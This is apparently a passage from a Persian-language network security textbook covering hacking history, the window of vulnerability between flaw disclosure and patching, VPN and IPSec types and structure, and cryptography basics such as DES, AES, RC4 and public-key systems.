اينترنت با توجه به لزوم افزايش امنيـت روي وب،   هاي توسط افراد ديگر شود. همچنين به اين طريق هزينه

  يابد. افزايش مي

دهنـد. هـدف بعضـي از آنهـا نيـز       ها و سايتهايي هستند كه ابزار هك را در اختيار افراد قـرار مـي   گروه

هاي احتمالي است. گـاهي فعاليتهـاي هكـي را كـه در حـال انجـام        رساني براي جلوگيري از آسيب اطلاع

رسانند. بهرحال شايان ذكر است كه همچنان بين متخصصان امنيت اختلاف نظـر   موم ميبه اطلاع ع  است
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در مورد سودرساني يا ضرررساني هكرها وجود دارد. جالب اينجاست كه گاهي هكرها اقدام به برگزاري 

البته در شوند.  كنند و افراد علاقمند با حضور در اين همايشها با روشها و ابزار هك آشنا مي همايش نيز مي

هاي قانونگذاري و مجريان قانون حضور دارند. هدف  ميان حاضرين باز هم متخصصان امنيت و نيز آژانس

آنها از اين حضور حصول دانش بهتر در مورد اين موضوع و كسب مهارتهاي بيشتر بـا توجـه بـه گـرايش     

  روزافزون به جرايم و تروريسم در فضاي سايبر است.

  تاريخ وراي قضيه

كـرد و روز دوم هـك    تمالا عمري به اندازه عمر كامپيوتر دارد. روز اول كامپيوتري كـار مـي  هك اح

اولين گروه از هكرهاي كامپيوتري را معرفي كرد. گروهي جوان از تحصـيلكردگان علـوم    MITشد.  مي

المللـي   كردنـد. بهرحـال ايـن هنـر! هـيچ مـرز بـين        كـار مـي   Dellكامپيوتر كه روي ماشـين كـارت پـانچ    

  شناسد. هك در همه جا هست. با ظهور اينترنت مدرن، هك نيز رشد كرد. مين

شـدند، همچنانكـه ايـن     هك بيشتر بعنوان يك هويت مستقل ظهور كرد. روترها بدرسـتي تنظـيم نمـي   

مساله امروز نيز وجود دارد. معمولا كاربران از ارتباطات خطوط تلفن براي دستيابي بـه شـركتهاي بـزرگ    

نشستند كه مستقيما به سيستمهايي وصـل   كردند. و بقيه نيز پشت ترمينالهايي مي استفاده ميدولتي و ارتشي 

فريم بزرگ و درايوهاي نواري  بودند كه آنها در حال هك كردنشان بودند. اين سيستمها از ماشينهاي مين

رمزعبـور  شدند. دسترسي به آنها عموما با هـك كـردن كمتـرين ميـزان امنيـت يعنـي شناسـه و         تشكيل مي

آمد. البته منظور اين نيست كه هك در آن زمان آسانتر بود. ميـانگين سـطح دانـش هكرهـا نيـز       بدست مي

رسان نيز براحتي در دسترس افراد با دانش كـم قـرار    افزارهاي آسيب بالاتر رفته است. در ضمن امروزه نرم

رقابـل دسـتيابي يـا امـن بودنـد. در      دارد. هدف از بسياري نفوذها دستيابي به سيسـتمهايي بـود كـه بنظـر غي    

  شد.  حقيقت شكستن امنيت اين سيستمها يك چالش محسوب مي

دهد. بسياري از خريدها  كنيم كه اينترنت بخش مهمي از آن را تشكيل مي امروزه در دنيايي زندگي مي

مپيوترهـاي  گيرد و سيستمهاي تجاري زيادي از اين طريق به هم مرتبط هسـتند. ظهـور كا   آنلاين انجام مي

هاي زيادي از مردم قرار داده اسـت. ايـن    ها، كامپيوتر را در دسترس گروه روميزي و افزايش آنها در خانه
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هـاي   امر زمينه را بـراي فعاليـت هكرهـا نيـز گسـترش داده اسـت. اگرچـه هكرهـا بـا كامپيوترهـا و شـبكه           

كنـد و انگيـزه آنهـا را بـالاتر      شـتر مـي  تري سروكار دارند، خود اين امر چالش قضيه را براي آنها بي پيچيده

هـا از هكرهـا بـراي     هاي پشت اين قضيه نيز تغيير كرده اسـت. بسـياري از گـروه    ها و فلسفه برد. سياست مي

كنند. اينترنـت مـدرن بـه هكرهـا اجـازه داده       كمك به كشف ضعفهاي امنيتي سيستمهاي خود استفاده مي

سـايتهاي يكـديگر و از كـار     كـردن وب  شـورها بـا هـك   است كه مرزهاي جديد را بكاوند. جنگ بـين ك 

) به يك امر معمول مبـدل  DoS )Denial of Serviceآوردن سايتها با حملات  انداختن آنها يا پايين

گشته است. ارتشها از هكرها بمنظور از كار انداختن سيستمهاي دفاعي دشمنانشان براي كسـب برتـري در   

يك انگيزه بزرگ براي بعضي هكرها يـا افـرادي اسـت كـه هكرهـا را      كنند. منافع مالي  جنگ استفاده مي

گيرند تـا مقـادير زيـادي از پولشـان توسـط روشـهاي        گيرند. موسسات مالي اغلب هدف قرار مي بكار مي

  الكترونيك بسرقت رود.

 پنجره آسيب پذيري، دليلي براي هك شدن 14-2

عمال به موقع پچهاي امنيتي تضـمين مناسـبي بـراي    ا  آيا تنها داشتن يك ضد ويروس قدرتمند و به روز يا

پاسخ به اين سئوال چندان كه به نظر ميرسد آسان نيست. پاسخ رسمي به اين سـئوال    ايمني سيستمهاست؟

مثبت است. بعبارتي توليد كنندگان نرم افزار شما را مطمئن ميكنند كه تنها در صورت رعايت ايـن مـوارد   

د. اما واقعيت چيز ديگريست. آنها تـا زمـاني كـه مجبـور بـه اعتـراف نشـوند        كامپيوتر شما ايمن خواهد بو

حقيقــت را نميگوينــد. تنهــا پــس از آمــدن يــك دو جــين ويروســها و كرمهــاي اينترنتــي اخيــر بــود كــه   

ميكروسافت وادار به اعتراف شد. البته حتي در همين شرايط هم باز چنان وانمود ميشود كه گويي اوضـاع  

  است.  كاملا در كنترل

اجازه دهيد تا باز گرديم به سئوال ابتداي بحث. پاسخ به اين سئوال منفي ست. هرچند اعمال قواعد امنيتي، 

شـما را تـا حـدود      )IRCERTبه روزرساني نرم افزارها و ساير راهكارهاي امنيتي (از جمله توصيه هاي 

اقعيت نـه چنـدان خوشـايند اينكـه     زيادي ايمن ميكند اما هيچكدام تضمين صددرصدي به شما نميدهند. و

و يا ويروسـها مصـون     Script Kiddiesاين راه حلها تنها افراد را در برابر تعدادي آماتور يا اصطلاحا 
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مي سازند. اما كلاه سياهها (حساب سازمانهاي جاسوسي و شركتهاي بزرگ جداست!) كماكان هر زمـان  

شخصـي مـا شـوند. اخيـرا يكـي از موسسـات مـرتبط بـا          كه بخواهند با چند كليك ميتوانند وارد كامپيوتر

طي گزارشي كه براي اين سازمان تهيه شده به يك فـاكتور    سازمان جديد التاسيس امنيت داخلي آمريكا

  تعيين كننده اشاره كرده است: پنجره آسيب پذيري.

ملـه اينترنتـي   پنجره آسيب پذيري مدت زمان آسيب پذيري سيستم شما در برابر يك شكاف امنيتـي يـا ح  

است. اين زمان عبارت از فاصله ميان كشف يك مشكل امنيتي (عموما توسـط هكرهـا) تـا پيـدا شـدن راه      

حل مربوطه (توسط شركت مسئول) و در نهايت اعمال راه حل مربوطه توسـط شـما. سـيكل متـداول ايـن      

  ماجرا به اين شكل است:

   ز بولتنها و گروههاي امنيتيروز اول: انتشار خبر وجود يك شكاف امنيتي در يكي ا

روز چهاردهم تا شصتم: متخصصيت شركت مسئول به وجود شـكاف امنيتـي مربوطـه اعتـراف ميكننـد. و      

   شروع به توليد وصله امنيتي ميكنند

روز سي ام تا نود ام: توليد وصله امنيتي در شركت مسئول و تست نرم افزار. اين مرحله مهم تـرين مرحلـه   

هاي اخير بسيار پيش آمده كه يك وصله امنيتي بدون انجام تستهاي كافي وارد بازار شده است زيرا در سال

است و در نتيجه گرچه مشكل امنيتي اوليه را حل كرده است اما خود مشكلات جديـدي را ايجـاد كـرده    

است. اين مشكلات جديد عمدتا مشكلات پايداري هستند اما گهگاه مشكلات امنيتي را نيـز شـامل شـده    

بـر روي آن انجـام ميشـود كـه       اند. به اين دلايل اين روزها قبل از ارائه يك وصله امنيتي تستهاي بسياري

   اين كار به زمان زيادي نياز دارد. اين زمان مهمترين بخش پنجره آسيب پذيري است.

دانيـد ايـن   : در اين دوره وصله امنيتي مربوطه در دسترس عموم قرار ميگيرد. جالب اسـت ب 180تا  60روز 

   روز بود. 200چيزي در حدود  ASN.1زمان در مورد شكاف 

   : طي اين دوره وصله امنيتي به صورت عام توسط كاربران مورد بهره برداري قرار ميگيرد.270تا  90روز 
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فوق دقت كنيد در اين شكل دو سناريوي ممكن براي سيكل كشـف يـك شـكاف امنيتـي نشـان      به شكل 

داده شده است. در حالت ايده آل شكاف امنيتي توسط يك متخصص كشف مي شود. در اين حالت اين 

مطلب از طريق كانالهاي امن خصوصي به شركت مسئول گزارش ميشود تا راه حلي براي آن بيابد. بديهي 

ين حالت هكرها تنها پس از اعلام وجود وصله امنيتي از وجود شـكاف امنيتـي مطلـع ميشـوند     ست كه در

روز. اما اگر ايـن شـكاف توسـط هكرهـا      90تا  30بنابراين زمان بسيار كمي براي نفوذ دارند: چيزي مابين 

كـه بـه   روز وقت دارند  270كشف شود طبيعيست كه اوضاع متفاوت خواهد بود. در اين حالت هكرها تا 

  سيستم شما نفوذ كنند.
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ــي     ــه داراي يكـ ــالتي كـ ــتمها در حـ ــذيري در سيسـ ــيب پـ ــره آسـ ــوق پنجـ ــكل فـ ــاي  در شـ   از ابزارهـ

 IDS ،Patch Management  ياAnti Virus كنيد كـه كمتـرين    باشند مقايسه شده است. دقت

آسيب پذيري مربوط به سيستمهاي داراي تشخيصگر نفوذ و بيشترين آن مربوط بـه سيسـتمهايي سـت كـه     

  تنها داراي يك ضد ويروس معمولي هستند.

آنچه گفته شد تصوير واقعي از شرايط امنيتي موجود بود. البته ميتوان با اتخاذ يك سياسـت مـوثر امنيتـي،    

) به جاي رويكردهـاي مبتنـي بـر    Proactiveيز استفاده از رويكردهاي پيشگيرانه (پيگيري راهنماييها و ن

  ) ميزان اين خطرات را تا حد زيادي كاهش داد.Reactiveپاسخگويي صرف (
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 )VPNشبكه خصوصي مجازي (-15

ناميـده مـي شـود،     VPNكه بـه اختصـار    Virtual Private Networkشبكه خصوصي مجازي يا 

بـراي اتصـال دو    VPNاز   براي انتقال ترافيك خصوصي بر روي شـبكه عمـومي. معمـولا   امكاني است 

شبكه خصوصي از طريـق يـك شـبكه عمـومي ماننـد اينترنـت اسـتفاده مـي شـود.منظور از يـك شـبكه            

بـه ايـن دليـل مجـازي      VPNخصوصي شبكه اي است كه بطور آزاد در اختيار و دسترس عموم نيسـت.  

ر دو شبكه خصوصي ، ارتباط از طريق يك ارتباط و شبكه خصوصـي بـين آنهـا    ناميده مي شود كه از نظ

معمولا اتصـال دو يـا    VPNبرقرار است اما در واقع شبكه عمومي اين كار را انجام مي دهد. پياده سازي 

چند شبكه خصوصي از طريق يك تونل رمزشده انجام مي شود. در واقع به اين وسيله اطلاعات در حـال  

را مي توان بسته به شـيوه پيـاده    VPNوي شبكه عمومي از ديد ساير كاربران محفوظ مي ماند. تبادل بر ر

   سازي و اهداف پياده سازي آن به انواع مختلفي تقسيم كرد.

   
  براساس رمزنگاري VPNدسته بندي  15-1

 VPN يم كرد:را مي توان با توجه به استفاده يا عدم استفاده از رمزنگاري به دو گروه اصلي تقس  

1-       VPN : رمزشدهVPN   هاي رمز شده از انواع مكانيزمهاي رمزنگاري براي انتقال امن اطلاعـات

ها ، شبكه هاي خصوصي مجازي  VPNبر روي شبكه عمومي استفاده مي كنند. يك نمونه خوب از اين 

  هستند.   IPSecاجرا شده به كمك 

2-       VPN  رمزنشده : اين نوع ازVPN اتصال دو يا چند شبكه خصوصي با هـدف اسـتفاده از    براي

منابع شبكه يكديگر ايجاد مي شود. اما امنيت اطلاعات در حال تبادل حائز اهميت نيست يا اين كـه ايـن   

امنيت با روش ديگري غير از رمزنگاري تامين مي شود. يكـي از ايـن روشـها تفكيـك مسـيريابي اسـت.       

كه تنها اطلاعات در حال تبادل بين دو شبكه خصوصي به هر يـك  منظور از تفكيك مسيريابي آن است 

) در اين مواقع مي توان در لايـه هـاي بـالاتر از رمزنگـاري     MPLS VPNاز آنها مسير دهي مي شوند. (

  استفاده كرد. SSLمانند 
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عه بـه  هر دو روش ذكر شده مي توانند با توجه به سياست امنيتي مورد نظر ، امنيت مناسبي را براي مجمو

مي روند. ساير انـواع          امن به كار VPNهاي رمز شده براي ايجاد  VPNارمغان بياورند، اما معمولا 

VPN  مانندMPLS VPN .بستگي به امنيت و جامعيت عمليات مسيريابي دارند  

   
  براساس لايه پياده سازي VPNدسته بندي  

VPN  بر اساس لايه مدلOSI اند نيز قابل دسته بندي هستند. اين موضوع از  كه در آن پياده سازي شده

هاي رمز شده ، لايه اي كه در آن رمزنگاري انجـام   VPNاهميت خاصي برخوردار است. براي مثال در 

بـراي كـاربران آن نيـز بـا      VPNمي شود در حجم ترافيك رمز شده تاثير دارد. همچنين سـطح شـفافيت   

  توجه به لايه پياده سازي مطرح مي شود.

1-       VPN  لايه پيوند داده : با استفاده ازVPN   هاي لايه پيوند داده مي توان دو شبكه خصوصـي را

بـه هـم متصـل كرد.بـا      Frame Relayيا  ATMبا استفاده از پروتكلهايي مانند  OSIمدل  2در لايه 

ن نياز بـه يـك   وجودي كه اين مكانيزم راه حل مناسبي به نظر مي رسد اما معمولا روش ارزني نيست چو

مكانيزمهـاي رمزنگـاري را تـامين     ATMو  Frame Relayدارد. پروتكلهاي  2مسير اختصاصي لايه 

تعلـق دارد ،   2نمي كنند. آنها فقط به ترافيك اجازه مي دهند تـا بسـته بـه آن كـه بـه كـدام اتصـال لايـه         

رمزنگـاري مناسـبي را بـه كـار     تفكيك شود. بنابراين اگر به امنيت بيشتري نياز داريـد بايـد مكانيزمهـاي    

  بگيريد.

2-       VPN  لايه شبكه : اين سري ازVPN     هـا بـا اسـتفاده ازtunneling   و/يـا تكنيكهـاي    3لايـه

و پروتكل رمزنگـاري بـراي    IPSec Tunnelingرمزنگاري استفاده مي كنند. براي مثال مي توان به 

هستند. جالب است اشـاره كنـيم كـه     L2TP و GREاشاره كرد.مثالهاي ديگر پروتكلهاي  VPNايجاد 

L2TP  براي اين كار اسـتفاده مـي كنـد. بنـابراين در      3تونل مي زند اما از لايه  2در ترافيك لايهVPN 

هاي لايه شبكه قرار مي گيرد. اين لايه براي انجام رمزنگاري نيز بسيار مناسب است. در بخشـهاي بعـدي   

  طور مشروح خواهيم پرداخت.ها به  VPNاين گزارش به اين سري از 



 

 

١٨٠

١٨٠

3-       VPN  لايه كاربرد : اينVPN  .ها براي كار با برنامه هاي كاربردي خاص ايجاد شده اندVPN 

رمزنگاري را بين مرورگر وب  SSLهستند.  VPNاز مثالهاي خوب براي اين نوع از  SSLهاي مبتني بر 

 VPNمثال ديگري براي اين نوع از   SSHند.مي ك          را اجرا مي كند، تامين SSLو سروري كه 

به اجزاي مختلف شـبكه شـناخته مـي     loginبه عنوان يك مكانيزم امن و رمز شده براي  SSHها است.

ها در اين لايه آن است كه هرچه خدمات و برنامه هاي جديـدي اضـافه مـي شـوند ،     VPNشود. مشكل 

  نيز بايد اضافه شود. VPNپشتيباني آنها در 

   
  براساس كاركرد تجاري VPNدسته بندي  15-2

VPN  را براي رسيدن به اهداف تجاري خاصي ايجاد مي شوند. اين اهداف تجاري تقسيم بندي جديدي

  بنا مي كنند . VPNرا براي 

1-       VPN  اينترانتي : اين سري ازVPN       ها دو يـا چنـد شـبكه خصوصـي را در درون يـك

زماني معنا مي كنـد كـه مـي خـواهيم شـعب يـا        VPNنوع از سازمان به هم متصل مي كنند. اين 

دفاتر يك سازمان در نقاط دوردست را به مركز آن متصل كنيم و يك شبكه امن بين آنها برقرار 

  كنيم.

VPN  اكسترانتي : اين سري ازVPN    ها براي اتصال دو يا چند شبكه خصوصي از دو يا چند سـازمان بـه

كـه در آن دو شـركت مـي خواهنـد بـه       B2Bمعمولا بـراي سـناريوهاي    VPNكار مي روند. از اين نوع 

  ارتباطات تجاري با يكديگر بپردازند، استفاده مي شود.

 IPSecمقدمه اي بر 

 IP Security  ياIPSec  رشته اي از پروتكلهاست كه براي ايجادVPN    مـي       مـورد اسـتفاده قـرار

بـه   IPSec) پروتكـل  IETF )Internet Engineering Task Forceگيرند. مطابق با تعريف 

  اين شكل تعريف مي شود:

يك پروتكل امنيتي در لايه شبكه توليد خواهد شد تا خدمات امنيتي رمزنگاري را تامين كند. خدماتي كه 

  به صورت منعطفي به پشتيباني تركيبي از تاييد هويت ، جامعيت ، كنترل دسترسي و محرمانگي بپردازد.
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به شما امكان مي دهد تـا يـك تونـل رمزشـده را بـين دو شـبكه        IPSecها مورد استفاده ،در اكثر سناريو

مـي كنـد.اما            خصوصي ايجاد كنيد.همچنين امكان تاييد هويت دو سر تونل را نيز براي شـما فـراهم  

IPSec  تنها به ترافيك مبتني برIP  غيـر  اجازه بسته بندي و رمزنگاري مي دهد و درصورتي كه ترافيك

IP   نيز در شبكه وجود داشته باشد ، بايد از پروتكل ديگري مانندGRE  در كنارIPSec  .استفاده كرد  

IPSec  به استانداردde facto  در صنعت براي ساختVPN  تبديل شده است.بسياري از فروشندگان

تجهيزات از شركتهاي را پياده سازي كرده اند و لذا امكان كار با انواع مختلف  IPSecتجهيزات شبكه ، 

  مبدل كرده است.  VPNرا به يك انتخاب خوب براي ساخت  IPSecمختلف ، 

   
  IPSec VPNانواع  15-3 

براي حل دو  IPSecوجود دارد اما از نظر طراحي ،  IPSec VPNشيوه هاي مختلفي براي دسته بندي 

  مسئله مورد استفاده قرار مي گيرد :

  خصوصي و ايجاد يك شبكه مجازي خصوصي اتصال يكپارچه دو شبكه     -1

توسعه يك شبكه خصوصي براي دسترسي كاربران از راه دور به آن شبكه به عنوان بخشـي از       -2

  شبكه امن

  ها را نيز مي توان به دو دسته اصلي تقسيم كرد: IPSec VPNبر همين اساس ، 

  LAN-to-LAN IPSecپياده سازي      -1

بين دو شـبكه محلـي بـه كـار مـي رود. در ايـن        IPSecتوصيف يك تونل  اين عبارت معمولا براي

و از طريق يك شبكه عمومي با هم ارتباط برقـرار مـي    IPSecحالت دو شبكه محلي با كمك تونل 

كنند به گونه اي كه كاربران هر شبكه محلي به منـابع شـبكه محلـي ديگـر، بـه عنـوان عضـوي از آن        

شما امكان مي دهد كه تعريف كنيـد چـه داده اي و چگونـه بايـد      به IPSecشبكه، دسترسي دارند. 

  رمزنگاري شود. 

  Remote-Access Client IPSecپياده سازي      -2
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 IPSec         ها زماني ايجاد مي شوند كه يك كاربر از راه دور و با اسـتفاده از  VPNاين نوع از 

client  نصب شده بر روي رايانه اش، به يك روترIPSec  ياAccess server  .متصل مي شود

معمولا اين رايانـه هـاي دسترسـي از راه دور بـه يـك شـبكه عمـومي يـا اينترنـت و بـا كمـك روش            

dialup      يا روشهاي مشابه متصل مي شوند. زماني كه اين رايانه به اينترنت يـا شـبكه عمـومي متصـل

ز شـده را بـر روي شـبكه    رم ـ  موجود بر روي آن مـي توانـد يـك تونـل     IPSec clientمي شود، 

،ماننـد يـك روتـر، كـه بـر لبـه شـبكه         IPSecعمومي ايجاد كند كه مقصد آن يك دستگاه پايـاني  

  خصوصي مورد نظر كه كاربر قصد ورود به آن را دارد، باشد.

محدود است اما با كمك روش دوم مي توان تعداد پايانه هـا   IPSecدر روش اول تعداد پايانه هاي 

  زار رساند كه براي پياده سازي هاي بزرگ مناسب است.را به ده ها ه

   
  IPSecساختار  15-4

IPSec : براي ايجاد يك بستر امن يكپارچه ، سه پروتكل را با هم تركيب مي كند  

  ) IKEيا  Internet Key Exchangeپروتكل مبادله كليد اينترنتي (      -1

بين دو طرف است. وظايف اين پروتكـل   IPSecاين پروتكل مسئول طي كردن مشخصه هاي تونل 

  عبارتند از:

  طي كردن پارامترهاي پروتكل       �

  مبادله كليدهاي عمومي       �

  تاييد هويت هر دو طرف       �

  مديريت كليدها پس از مبادله       �

IKE  مشكل پياده سازي هاي دستي و غير قابل تغييرIPSec   را با خودكار كردن كل پردازه مبادلـه

خود از سه پروتكل تشـكيل   IKEاست. IPSec ليد حل مي كند. اين امر يكي از نيازهاي حياتي ك

  مي شود : 
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�      SKEME       مكانيزمي را براي استفاده از رمزنگـاري كليـد عمـومي در جهـت تاييـد :

  هويت تامين مي كند.

�   Oakley    بـين دو  : مكانيزم مبتني بر حالتي را براي رسيدن به يـك كليـد رمزنگـاري ،

  تامين مي كند. IPSecپايانه 

�      ISAKMP     معماري تبادل پيغام را شامل قالب بسته ها و حالت گـذار تعريـف مـي :

  كند.

IKE  به عنوان استانداردRFC 2409   تعريف شده است. با وجودي كـهIKE    كـارايي و عملكـرد

آن باعـث شـده اسـت تـا پيـاده       تامين مي كند، اما بعضي كمبودها در ساختار IPSecخوبي را براي 

سازي آن مشكل باشد، لذا سعي شده است تا تغييراتي در آن اعمال شود و اسـتاندارد جديـدي ارائـه    

  نام خواهد داشت. IKE v2شود كه 

  ESPيا  Encapsulating Security Payloadپروتكل      -2

  فراهم مي كند.اين پروتكل امكان رمزنگاري ، تاييد هويت و تامين امنيت داده را 

  )AHيا  Authentication Headerپروتكل سرآيند تاييد هويت (     -3

  اين پروتكل براي تاييد هويت و تامين امنيت داده به كار مي رود.
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 رمزنگاري -16

  معرفي و اصطلاحات -16-1
از پيغامهـايي كـه   رمزنگاري علم كدها و رمزهاست. يك هنر قديمي است و براي قرنها بمنظور محافظت 

شده، استفاده شده است تا پيغامهاي آنهـا محرمانـه    عشاق و ديگران ردوبدل مي  بين فرماندهان، جاسوسان،

  بماند.

هنگامي كه با امنيت ديتا سروكار داريم، نياز به اثبات هويت فرستنده و گيرنده پيغام داريم و در ضمن بايد 

اين سه موضوع يعني محرمانگي، تصديق هويـت و جامعيـت در   از عدم تغيير محتواي پيغام مطمئن شويم. 

  توانند از رمزنگاري استفاده كنند. قلب امنيت ارتباطات ديتاي مدرن قرار دارند و مي

اغلب اين مساله بايد تضمين شود كه يك پيغام فقط ميتواند توسط كساني خوانده شود كه پيغام براي آنها 

نـام   "رمزنگـاري "ه را ندارند. روشي كه تامين كننده اين مساله باشد ارسال شده است و ديگران اين اجاز

دارد. رمزنگاري هنر نوشتن بصورت رمز است بطوريكه هيچكس بغير از دريافت كننـده مـوردنظر نتوانـد    

  محتواي پيغام را بخواند. 

دانـش   تـر بـه مقـداري از    ها و اصطلاحات مخصوص به خود را دارد. براي درك عميق رمزنگاري مخفف

شـود)، آنـرا بـا     شـناخته مـي   plaintextرياضيات نياز است. براي محافظت از ديتاي اصلي ( كه بعنـوان  

آوريم تـا كسـي كـه ديتـاي حاصـله را       اي محدود از بيتها) بصورت رمز در مي استفاده از يك كليد (رشته

شـود) بصـورت    خته مـي شـنا  ciphertextخواند قادر به درك آن نباشد. ديتاي رمزشده (كه بعنوان  مي

رسـد. بـراي حصـول مـتن      معني از بيتها بدون داشتن رابطه مشخصي با ديتاي اصلي بنظر مـي  يك سري بي

تواند براي اينكه بـدون   كند. يك شخص ثالت (مثلا يك هكر) مي كننده آنرا رمزگشايي مي اوليه دريافت

كند. بخاطرداشتن وجـود   (cryptanalysis)نوشته  دانستن كليد به ديتاي اصلي دست يابد، كشف رمز

  اين شخص ثالث بسيار مهم است.

رمزنگاري دو جزء اصلي دارد، يك الگوريتم و يك كليد. الگوريتم يك مبدل يا فرمـول رياضـي اسـت.    

تعداد كمي الگوريتم قدرتمند وجود دارد كه بيشـتر آنهـا بعنـوان اسـتانداردها يـا مقـالات رياضـي منتشـر         
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معني اسـت. رمزنگـاري    خود بي ته از ارقام دودويي (صفر و يك) است كه بخودياند. كليد، يك رش شده

تواند كشف شود. كليـد اسـت كـه بايـد مخفـي       كند كه الگوريتم شناخته شده است يا مي مدرن فرض مي

كند. رمزگشايي ممكن اسـت از همـان    سازي تغيير مي نگاه داشته شود و كليد است كه در هر مرحله پياده

  يتم و كليد يا جفت متفاوتي استفاده كند.جفت الگور

شـناخته   scramblingشـود؛  ايـن عمـل عمومـا بعنـوان       ديتاي اوليه اغلب قبل از رمزشدن بازچيني مـي 

اي داشـته   توانـد هـر انـدازه    ها بلوكي از ديتا را (كه مـي hash functionتر،  شود. بصورت مشخص مي

 hashed valueتوانـد از   البتـه ديتـاي اوليـه نمـي    دهـد.   شده كاهش مي باشد) به طول از پيش مشخص

ها اغلب بعنوان بخشي از يك سيستم تاييد هويت مـورد نيـاز هسـتند؛    Hash functionبازسازي شود. 

ترين قسمتها مانند شماره پيام، تاريخ و سـاعت، و نـواحي مهـم ديتـا) قبـل از       اي از پيام (شامل مهم خلاصه

  شود. مي hashو  رمزنگاري خود پيام، ساخته 

يـك الگـوريتم ثابـت بـا      MACيا  (Message Authentication Check)يك چك تاييد پيام 

توليد يك امضاء برروي پيام با استفاده از يك كليد متقارن است. هدف آن نشان دادن ايـن مطلـب اسـت    

راي تاييـد  كه پيام بين ارسال و دريافت تغيير نكرده است. هنگامي كه رمزنگاري توسـط كليـد عمـومي ب ـ   

  شود. مي (digital signature)شود، منجر به ايجاد امضاي ديجيتال  هويت فرستنده پيام استفاده مي

   
  ها الگوريتم -16-2

اي براي متخصصان رياضي است. طراحان سيستمهايي كـه در آنهـا    طراحي الگوريتمهاي رمزنگاري مقوله

عف الگوريتمهاي موجود مطلع باشند و بـراي تعيـين   شود، بايد از نقاط قوت و ض از رمزنگاري استفاده مي

ــدرت تصــميم  ــين كارهــاي شــانون    الگــوريتم مناســب ق ــري داشــته باشــند. اگرچــه رمزنگــاري از اول گي

(Shannon)  پـاي   بشدت پيشرفت كرده است، اما كشف رمز نيز پابه 50و اوايل دهه  40در اواخر دهه

انـد.   هنوز با گذشت زمان ارزش خود را حفـظ كـرده   رمزنگاري به پيش آمده است و الگوريتمهاي كمي

بنابراين تعداد الگوريتمهاي استفاده شده در سيستمهاي كامپيوتري عملـي و در سيسـتمهاي برپايـه كـارت     

  هوشمند بسيار كم است. 



 

 

١٨٦

١٨٦

   
  سيستمهاي كليد متقارن 16-2-1

ند. بيشترين شكل استفاده از ك يك الگوريتم متقارن از يك كليد براي رمزنگاري و رمزگشايي استفاده مي

 dataرمزنگاري كه در كارتهـاي هوشـمند و البتـه در بيشـتر سيسـتمهاي امنيـت اطلاعـات وجـود دارد         

encryption algorithm  ياDEA       اسـت كـه بيشـتر بعنـوانDES   شـود.   شـناخته مـيDES   يـك

المللـي شـناخته    بـين  محصول دولت ايالات متحده است كه امروزه بطـور وسـيعي بعنـوان يـك اسـتاندارد     

بيت طول دارد، رمزنگاري و رمزگشايي 56بيتي ديتا توسط يك كليد تنها كه معمولا 64شود. بلوكهاي  مي 

هـاي كنـد (بخصـوص     توانـد توسـط پردازنـده    از نظر محاسباتي ساده است و براحتي مـي  DESشوند.  مي

  آنهايي كه در كارتهاي هوشمند وجود دارند) انجام گيرد.

بودن كليد دارد. بنابراين براي استفاده در دو موقعيت مناسب است: هنگامي كه  ش بستگي به مخفياين رو

توانند به يك روش قابل اعتماد و امن توزيع و ذخيره شوند يا جايي كـه كليـد بـين دو سيسـتم      كليدها مي

ت تـراكنش طـول   انـد عمـر كليـدها بيشـتر از مـد      شوند كه قبلا هويـت يكـديگر را تاييـد كـرده     مبادله مي

  شود. عموما براي حفاظت ديتا از شنود در طول انتقال استفاده مي DESكشد. رمزنگاري  نمي

شـوند و   بيتي امروزه در عرض چندين ساعت توسط كامپيوترهاي معمولي شكسته مـي DES 40كليدهاي 

بيتـي عمومـا   56كليـد   بنابراين نبايد براي محافظت از اطلاعات مهم و با مدت طولاني اعتبار استفاده شود.

تـايي عبارتسـت از    سـه DESشـوند. رمزنگـاري    هـاي بخصوصـي شكسـته مـي     افزار يا شـبكه  توسط سخت

گيرد. (دو مرتبه با استفاده از  كه در سه مرتبه انجام مي DESكدكردن ديتاي اصلي با استفاده از الگوريتم 

گشايي) با يك كليد ديگر) مطـابق  يك كليد به سمت جلو (رمزنگاري)  و يك مرتبه به سمت عقب (رمز

  شكل زير:

   
اين عمل تاثير دوبرابر كردن طول مؤثر كليد را دارد؛ بعدا خواهيم ديد كه اين يك عامل مهم در قـدرت   

  رمزكنندگي است.
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براي  IDEAو  Blowfishاند. الگوريتمهايي مانند  الگوريتمهاي استاندارد جديدتر مختلفي پيشنهاد شده

 افزاري نشدند بنابراين بعنوان رقيبي براي سازي سخت اند اما هيچكدام پياده تفاده قرار گرفتهزماني مورد اس

DES  انـد. پـروژه اسـتاندارد رمزنگـاري پيشـرفته       براي استفاده در كاربردهاي ميكروكنترلي مطرح نبوده

يتم رمزنگاري بعنوان الگور DESرا براي جايگزيتي  Rijndaelالگوريتم  (AES)دولتي ايالات متحده 

پايين مـثلا   ـ هاي توان سازي در پردازنده مشخصا براي پياده Twofishاوليه انتخاب كرده است. الگوريتم 

  در كارتهاي هوشمند طراحي شد. 

و مبادلـه كليـد را كـه در     Skipjackوزارت دفاع ايالات متحده تصميم گرفت كه الگوريتمها  1998در 

بود، از محرمانگي خارج سازد. يكي از دلايل ايـن امـر تشـويق بـراي     استفاده شده  Fortezzaكارتهاي 

  سازي بيشتر كارتهاي هوشمند برپايه اين الگوريتمها بود. پياده

(كه رمزنگاري ديتا در حـين ارسـال صـورت     (streaming encryption)براي رمزنگاري جرياني 

اي  سرعت بالا و دامنـه  RC4الگوريتم  گيرد بجاي اينكه ديتاي كدشده در يك فايل مجزا قرار گيرد) مي

اسـت، بصـورت    RSAكه متعلق به امنيت ديتـاي   RC4كند.  بيت فراهم مي 256تا  40از طول كليدها از 

  شود.  عادي براي رمزنگاري ارتباطات دوطرفه امن در اينترنت استفاده مي

   
  سيستمهاي كليد نامتقارن 16-2-2

كننـد. بسـياري از    ختلفـي بـراي رمزنگـاري و رمزگشـايي اسـتفاده مـي      سيستمهاي كليد نامتقارن از كليد م

) منتشـر شـود در حاليكـه ديگـري     public keyدهند كه يك جزء (كليد عمومي يـا   سيستمها اجازه مي

) توسط صاحبش حفظ شود. فرستنده پيام، مـتن را بـا كليـد عمـومي     private key(كليد اختصاصي يا 

را با كليد اختصاصي خـودش رمزنگـاري ميكنـد. بعبـارتي تنهـا بـا كليـد         كند و گيرنده آن گيرنده كد مي

توان متن كد شده را به متن اوليه صحيح تبديل كرد. يعني حتي فرستنده نيز اگرچـه   اختصاصي گيرنده مي

تواند از مـتن كدشـده بـه مـتن اصـلي دسـت يابـد، بنـابراين پيـام           از محتواي اصلي پيام مطلع است اما نمي

